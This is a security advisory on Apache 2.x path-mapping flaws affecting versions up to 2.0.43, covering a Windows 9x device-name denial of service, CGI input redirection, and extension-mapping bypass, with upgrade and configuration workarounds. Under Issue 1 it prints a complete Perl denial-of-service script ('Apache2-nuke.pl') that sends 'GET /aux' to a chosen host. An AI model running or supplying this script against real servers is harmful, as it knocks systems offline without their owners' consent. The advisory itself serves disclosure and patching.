COMMAND
	Apache HTTP Server Path Parsing Errata
SYSTEMS AFFECTED
	Apache 2.x upto 2.0.43
PROBLEM
	Matt Murphy [[email protected]] found :
	The Apache HTTP Server  contains  several  flaws  related  to  its  path
	mapping routines that could  enable  an  attacker  to  cause  Apache  to
	handle files incorrectly, cause a  system-wide  denial  of  service,  or
	possibly execute arbitrary code.
	 Issue 1 (VU#979793):
	 ====================
	Exploitation of this condition leads  to  a  remote  denial  of  service
	against a Windows 9x system running Apache, and appears  to  be  due  to
	erroneous checks in the ap_directory_walk function. A denial of  service
	can be caused with a web browser by requesting a  reserved  device  such
	as "aux":
	
	--- Apache2-nuke.pl ---
	#!/usr/bin/perl
	use IO::Socket;
	if (@ARGV < 1 || @ARGV > 2) {
	        print STDOUT "Usage: perl $0 <host> <port=80>";
	        exit;
	}
	if (@ARGV == 2) {
	        $port = $ARGV[1];
	} else {
	        $port = 80;
	}
	$f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$ARGV[0],
	PeerPort=>$port);
	print $f "GET /aux HTTP/1.0\r\n\r\n";
	--- Apache2-nuke.pl ---
	
	The Apache 2.0.44 release announcement incorrectly states that  previous
	Microsoft patches eliminate this vulnerability. There are  some  devices
	on Windows platforms that will hang the system if  opened  with  certain
	file permissions masks.
	 Issue 2 (VU#825177):
	 ====================
	Exploitation of this condition leads to a remote compromise. This  issue
	is also restricted to Windows 9x versions of Apache, and  has  the  same
	underlying cause as the previously noted denial  of  service  condition.
	It is related to CGI input redirection.
	Specifically, when POSTing to a CGI, the  stdin  stream  points  to  the
	input form data. By sending a POST  to  "con.xxx"  in  a  ScriptAlias'ed
	directory, your POST data *may* be executed by that interpreter.
	 Issue 3 (VU#384033):
	 ====================
	Exploitation of this condition could lead to bypass  of  default  script
	mapping behavior. This flaw impacts Apache on all platforms. This  issue
	is best described with an example:
	
	http://localhost/folder.php/file
	
	Apache should parse 'file' as plain text -- that  is,  simply  returning
	it to the browser. However,  an  incorrect  check  in  Apache's  mapping
	algorithms, causes the  'php'  extension  to  be  associated  with  this
	request. Rather than checking only the file's extension,  Apache  checks
	for extensions in any path member, stopping at the first.
	This is more of a weakness than a vulnerability,  as  exploitation  only
	yields UID nobody if you allow uploading under the docroot *and*  filter
	by filename only, in which case you have far more serious concerns  than
	the exploitation of this issue.
SOLUTION
	Get Apache 2.0.44 from :
	
	 http://httpd.apache.org/dist/httpd
	
	 WORKAROUNDS
	 ===========
	Servers  running  Windows  9x  should  be  upgraded  to   a   production
	environment (Windows NT, 2000, or XP, for example).
	For any directories allowing uploads, add the following lines:
	
	<Directory "/var/apache/htdocs/uploads/">
	AllowOverride None
	Options -Includes -ExecCGI
	SetHandler default-handler
	</Directory>